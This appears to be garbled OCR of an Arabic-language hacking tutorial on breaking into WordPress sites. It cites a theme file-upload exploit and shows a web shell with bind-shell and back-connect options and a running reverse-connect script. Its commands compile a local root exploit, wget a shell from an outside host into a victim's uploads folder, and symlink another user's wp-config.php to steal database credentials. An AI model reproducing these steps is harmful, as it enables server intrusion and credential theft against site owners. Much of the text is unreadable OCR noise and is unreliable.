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Tiiijm les fiijyi: T Tuult:t: k^\ fc-Lricj o t Molns d'une Btmaine ^ Tn [i;-di [>:7i1irii 


Exptoit Files = Packet Storm 

ti(ttp&:i , jlpacke'stormsecurity.com)1i'eE,‘1agsii'exploit’ ^ Tradure cetfe page 

I y n 9 3 -:: - Ijkjh ■EKpIoii r : r 1 1 1 3 1 >: : kx:;-dl, uiilriE!f;ihili!ly. cilik! ci-:L!i:ijliiii i s^l irijc!t:1iun 

tile bhgware SJiop 2.3 DI Cra&s SI e Scnptng y I es Upload iMsted Uec 2b 2UT5 . 
Vdus. Qvaz cons-ij-'ie cetle pege le 27/12/15. 
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«p-content/theics/RfghtNou/i ncludes/upl oadi fy/up Joadscttingsi mage. php 
'ihell falder : 

wp-content/upi oads/sctt Ingsi magcs/aBi ,php 
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<?php 

luploadf i 1 p-"ij£njrf i 1 p, php“; 
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LjgjjjLnJUolh ClLJI obi g (jjdjjilJI 
uname -a pol (£jpb y£ j d) m II jbrat uaj-szj Dgl 


Uname: Linux i 3.12.52-135.ELK6.x86 64 #1 SMPTue 5 CST 2016 x86 64 


ngj JISglyr i A) ~v ; i ( j 6 kV \II i Q p l<? p) Q i m I I g jIajq 1|| gb I i p n^j Lo Jb> 
d ^ip-Vi j |Sl iilo nj p II iyg -> p 'i ) loralroot 2016 3.12.52 \l i p Jrg<?i 
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Bind port to /bin/sh [peri] 








Port: 21 
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Back connect [peri] 









Server: 


Port: 

21 
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113868 0.0 

0.0 

25676 

2752 

? 

SN 

06:36 

0:00 

peri /tmp/bc.pl 

117270 0.0 

0.0 

10056 

996 

? 

SN 

06:38 

0:00 

sh -c ps aux | grep bc.pl 

117272 0.0 

0.0 

6496 

492 

? 

SN 

06:38 

0:00 

grep bc.pl 
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Ljpb-i fDJ» ./exploit : rii glmiM ll s ; o i i foj . . gcc exploit.c -o exploit 

(ogj o-ll lliU^iLio O^isJ bl ^5j_U id j_olJI 
Ol£L6>oJU^jjjj LLsz-bg aiduii a 6 g b II y gM : jg^ligJI Olpopuj 
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. . j l m i -S i 

g K2LL33D jLii) (S-OJ U jpn OLaloJI p±JbJ fnlg^jOigMI C iipim bi 

d - g P I b I ^~ 7 \ i LoJJ ri l*? mg S I I i olpl Jgb^JI 

cat config-WP.txt \Ho bg^j j_olgt ^ gj! b'i gri K>ioigM I i 6 lp I Jgbs^JI ljjj^ 




LUI Loj ( cLiij) j nj m II ynoii jgg £_dg43 bJ l±cb pt Lb_pg : j_olgl)U yj b -V» H» 
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ojLlllo l ,| 6 b i o ULLuj-pjggJI £_dgo-d /var/www/site.com/ jLllloj J i’n II lis 2 _Dj lllp 
pg±u LoJb /wp-content/uploads/ i olp pl p4~d p-o folszj /var/www/target.com/ 

: oJLLII polll 0 ibi n 

• • 

cd ; cd var/www/target.com/wp-content/uploads ; wget http://shell.com/shell.txt ; mv shell.txt shell.php 

wp-content/uploads jliLLoJIjfgi)^ J m I I ^ ^ i mo a oj j k> l l ri bl 

. . cat jplifi jOi gM I oJpo dJgln_o Ibui t ‘1 i l S p l;- 
. . Is -la j p\llu ri'inVi nipll I olpll i^I'ih-Ml ioij p \lgl .n 6 -Vi- 
..chmod J p\ll iL i I i-i\I kp I I JII?H Ij-Pi jihl l j n'» b I (TV I isl- 
. . Cp cULlUI J_o I LJJ .3 wget j l b-i i m \ll j_ol cLlUJ foJ bl- 


<?php 

/•• 

* Front to the WordPress application. This file doesn’t do anything, but loads 

* wp-blog*header .php which does and tells WordPress to load the theme. 

* Spackage WordPress 

V 

/** 

* Tells WordPress to load the WordPress theme and output it. 


iju ij pjgg d mip t i S j i ,fi.nlgpi index.php i olp ^ in ^ir : jgii^JI vJj^SZJi 

: \jJlJI ^pinin 

• • 

CLpgj i jii ^ i\ll t olp 

b lLooJI 

wp-blog-header.php 
bilooJI Origj pibiJI g 
OLoilll ^ 6 lp j ( jn i\H 
/wp-content/themes/themel 

gn j\ll t Olp L_LS2_bj.il) I OLd 

a p ng p II y ii S ^il j i<? i i m n ^11 i 
a_S2_o 1±SL 1) Lo 1 1 1 1 o L i l i -p\l m a ilr i‘l Ipj 5j_0Jg_tJI y>ic OjasjJI LJj_p LojI^ - 

UiibiJill 

(.... unjppjgg - JUgj^ - \Lo<^) OliaioJI J-b 6-o cLp-u dojjiaJI- 

l4jlgiiicj,jjy.jj| JgL2i(\p-LifoJ0l- 


1 
2 

3 

4 

5 

6 

7 

8 
9 

ie 
n 
12 

13 

14 define( 'WP_USE_THEMES’ , true); 

15 

16 /*• Loads the WordPress Environment and Template */ 

17 require( dirname( PILE ) . '/wp-blog-header.php' ); 

18 | 


* |&var bool 
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Cwd: /www/ drwxr-xr-x [ File Manager J 


| File manager 


B Name 

Size Modify 

Owner/Group Permission 

■[-.1 

dir 

drwxr-x--- 

■ [ h. 

co.il ] dir 

: dr-xr-xr-x 

■ [ h. 

com ] dir 

dr xr xr-x 

■ [ t» 

.11 ] dir 

dr-xr-xr-x 

Copy 

f » 
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ln -s /home/user/public_html/wp-config.php x.zip 
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dj-Lc gU)P Lo i gj i hi ) rogdj g I J 4 iid 1 9 ■ JgdcsJLI 
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: p i o'i Jl ljJLtiJU 
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